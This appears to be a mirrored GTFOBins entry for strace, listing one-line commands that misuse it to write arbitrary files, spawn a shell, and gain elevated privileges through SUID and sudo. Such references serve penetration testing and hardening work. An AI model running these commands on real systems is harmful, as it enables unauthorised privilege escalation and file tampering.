1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00
GTFOBins.github.io/_gtfobins/strace.md
2021-05-03 20:05:47 +02:00

602 B

functions
file-write shell suid sudo
description code
The data to be written appears amid the syscall log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever syscall passing arbitrary data can be used in place of `strace - DATA`. LFILE=file_to_write strace -s 999 -o $LFILE strace - DATA
code
strace -o /dev/null /bin/sh
code
./strace -o /dev/null /bin/sh -p
code
sudo strace -o /dev/null /bin/sh